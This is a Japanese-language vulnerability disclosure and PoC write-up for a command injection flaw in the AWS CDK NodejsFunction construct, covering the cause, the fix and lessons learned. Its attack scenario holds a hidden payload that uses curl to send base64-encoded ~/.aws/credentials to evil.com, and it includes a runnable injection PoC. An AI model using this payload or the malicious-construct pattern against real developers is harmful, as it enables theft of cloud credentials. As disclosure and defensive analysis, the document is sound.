CVE-2026-11417の技術解説と概念実証(PoC):AWS CDKのNodejsFunctionにおけるOSコマンドインジェクション/リモートコード実行(RCE)
著者: Hesham Ashraf (@HeshamASH)
日付: 2026年6月10日
深刻度: 高 (CVSSv3.1: 7.3, CVSSv4: 7.0)
CWE: CWE-78 — OSコマンドに使用される特殊要素の不適切な無害化(OSコマンドインジェクション)
影響を受けるパッケージ: aws-cdk-lib (npm)、バージョン 2.245.0 より前のすべてのバージョン
ベンダー: Amazon Web Services (AWS)
ステータス: パッチ適用済み (PR #37292, PR #37412) | CVE: CVE-2026-11417 | 速報: AWS-2026-041 | 勧告: GHSA-999r-qq7v-r334
私は、AWS Cloud Development Kit (CDK) にコマンドインジェクションの脆弱性を発見しました。この脆弱性により、攻撃者は悪意のある npm パッケージを公開したり、巧妙に細工されたプルリクエストを送信したりすることで、cdk synth を実行している**任意のマシン(開発者のワークステーションや CI/CD パイプラインを含む)上でリモートコード実行(RCE)**を達成できました。
この脆弱性は、 の コンストラクトが、ユーザー制御の文字列をサニタイズせずにシェルコマンドに直接埋め込み、 / 経由で実行したために存在していました。AWS は、シェルベースの実行を直接の 引数配列に置き換えることで問題を修正しました。
aws-cdk-libNodejsFunctionbash -ccmd /cspawnSyncAWS Cloud Development Kit (CDK) は、クラウドインフラストラクチャをコードとして定義するために広く使用されているオープンソースフレームワークです。数万人の開発者と CI/CD パイプラインが AWS CloudFormation スタックを合成およびデプロイするために使用しています。
NodejsFunction コンストラクトは、最も人気のある CDK L2 コンストラクトの 1 つです。合成フェーズ(cdk synth)中に esbuild を使用して TypeScript/JavaScript Lambda 関数をバンドルします。
NodejsFunction コンストラクトのローカルバンドリングパスは、複数のユーザー制御プロパティをサニタイズせずに直接シェルコマンド文字列に埋め込んでいました。
// packages/aws-cdk-lib/aws-lambda-nodejs/lib/bundling.ts (パッチ前)
const esbuildCommand: string[] = [
options.esbuildRunner,
'--bundle', `"${relativeEntryPath}"`,
`--target=${this.props.target ?? toTarget(scope, this.props.runtime)}`,
'--platform=node',
...this.externals.map(external => `--external:${external}`), // エスケープなし
...loaders.map(([ext, name]) => `--loader:${ext}=${name}`), // エスケープなし
...defines.map(([key, value]) => `--define:${key}=${JSON.stringify(value)}`), // キーがエスケープされていない
...this.props.inject ? this.props.inject.map(i => `--inject:"${i}"`) : [], // エスケープなし
...this.props.esbuildArgs ? [toCliArgs(this.props.esbuildArgs)] : [], // エスケープなし
];
この配列は単一の文字列に結合され、シェルに渡されました。
// 結合されたコマンドは直接 OS シェルに渡される
exec(
osPlatform === 'win32' ? 'cmd' : 'bash',
[osPlatform === 'win32' ? '/c' : '-c', localCommand],
{ /* ... */ }
);
&、;、|、`、$(...) などのシェルメタ文字が、注入可能なプロパティのいずれかに含まれていると、シェルによってコマンド区切り文字として解釈され、任意のコマンド実行が可能になりました。
| プロパティ | サニタイズ | リスクレベル |
|---|---|---|
externalModules | なし | クリティカル |
define (キー) | なし (値は JSON.stringify を使用) | クリティカル |
loader (キー) | なし | クリティカル |
inject | なし | クリティカル |
esbuildArgs (キー/値) | なし | クリティカル |
この脆弱性は、インジェクションが npm install 時ではなく、CDK 合成レイヤーで発生するため、特に危険です。つまり、--ignore-scripts のような標準的な npm セキュリティ対策は無効です。
攻撃者は、NodejsFunction をラップした正規の見た目の npm パッケージを公開します。
// "convenient-lambda" として npm に公開
import { NodejsFunction } from 'aws-cdk-lib/aws-lambda-nodejs';
export class ConvenientLambda extends NodejsFunction {
constructor(scope, id, props) {
super(scope, id, {
...props,
bundling: {
...props.bundling,
externalModules: [
...(props.bundling?.externalModules ?? []),
// 正規の external の中に隠されたペイロード
'lodash & curl https://evil.com/exfil?d=$(cat ~/.aws/credentials | base64)',
],
},
});
}
}
開発者がこのパッケージをインストールして cdk synth を実行すると、CDK は次のように構築します。
npx esbuild --bundle handler.ts --external:lodash & curl https://evil.com/exfil?d=$(cat ~/.aws/credentials | base64)
& 文字により、これは 2 つの独立したシェルコマンドに分割されます。
npx esbuild --bundle handler.ts --external:lodash — esbuild は通常通り実行curl https://evil.com/... — 攻撃者のペイロードが AWS 認証情報を外部送信| 防御手段 | 有効か | 理由 |
|---|---|---|
npm install --ignore-scripts | いいえ | インジェクションはパッケージインストール時ではなく cdk synth 中に発生 |
package.json のコードレビュー | いいえ | ペイロードは TypeScript コンストラクトコード内にあり、スクリプトではない |
| npm audit | いいえ | パッケージ自体に既知の脆弱性は含まれていない |
| Lockfile の完全性 | いいえ | パッケージ自体は正しくインストールされる |
mkdir poc && cd poc
npm init -y
npm install aws-cdk-lib constructs esbuild typescript
mkdir lambda
echo 'export const handler = async () => ({ statusCode: 200 });' > lambda/handler.ts
app.ts を作成import * as cdk from 'aws-cdk-lib';
import { Stack } from 'aws-cdk-lib';
import { NodejsFunction } from 'aws-cdk-lib/aws-lambda-nodejs';
import { Runtime } from 'aws-cdk-lib/aws-lambda';
import * as path from 'path';
class PoCStack extends Stack {
constructor(scope, id) {
super(scope, id);
new NodejsFunction(this, 'Fn', {
entry: path.join(__dirname, 'lambda', 'handler.ts'),
runtime: Runtime.NODEJS_20_X,
bundling: {
externalModules: ['foo & echo PWNED > pwned.txt'],
},
});
}
}
const app = new cdk.App();
new PoCStack(app, 'PoCStack');
app.synth();
npx ts-node app.ts
cat pwned.txt
# 出力: PWNED
pwned.txt ファイルが作成され、ホスト上で任意のコマンド実行が確認できます。
spawnSyncコアとなる修正は、シェルコマンド文字列の構築を、引数配列を使用した直接の spawnSync に置き換えます。
- // 修正前: シェル解釈されるコマンド文字列
- exec('bash', ['-c', esbuildCommand.join(' ')]);
+ // 修正後: 直接の引数配列(シェル解釈なし)
+ spawnSync(command, args, { /* no shell */ });
これにより、シェルメタ文字の解釈が完全に排除されます。新しい BundlingStep 型システムは以下を明確に分離します。
spawn ステップ: esbuild/tsc/install — 引数配列を使用した直接の spawnSync で実行shell ステップ: ユーザー提供の commandHooks — 意図的にシェル実行(ユーザーが契約によりこれらを制御)fs ステップ: ファイル操作 — シェルは関与しないNode 22+ の Windows では、.cmd シムの直接の spawnSync が EINVAL で失敗します。この PR は、spawn ステップを powershell.exe 経由で powershellEscape() を使用してルーティングします。これは、PowerShell のネイティブエスケープ(内部の引用符を二重にする)を使用して各引数を厳密にシングルクォートし、& 呼び出し演算子を前置する関数です。
シェル実行はコードの臭いである。 文字列を構築して bash -c や cmd /c に渡すコードパスは、潜在的なコマンドインジェクションの脆弱性です。常に配列ベースの spawnSync または execFile を優先してください。
サプライチェーン攻撃はインストール時の防御をバイパスする。 npm audit や --ignore-scripts は悪意のある postinstall スクリプトから保護しますが、ビルド時に依存関係を処理するツールの脆弱性からは保護できません。
CDK コンストラクトは信頼されたコードである。 開発者がサードパーティの CDK コンストラクトをインポートするとき、暗黙的にそのコンストラクトがインフラストラクチャを正しく構成することを信頼します。悪意のあるコンストラクトはこの信頼を悪用して、通常の設定のように見えるバンドリングプロパティにペイロードを注入できます。
発見および報告: Hesham Ashraf (@HeshamASH)。AWS VDP プログラムを通じて調整された開示が行われました。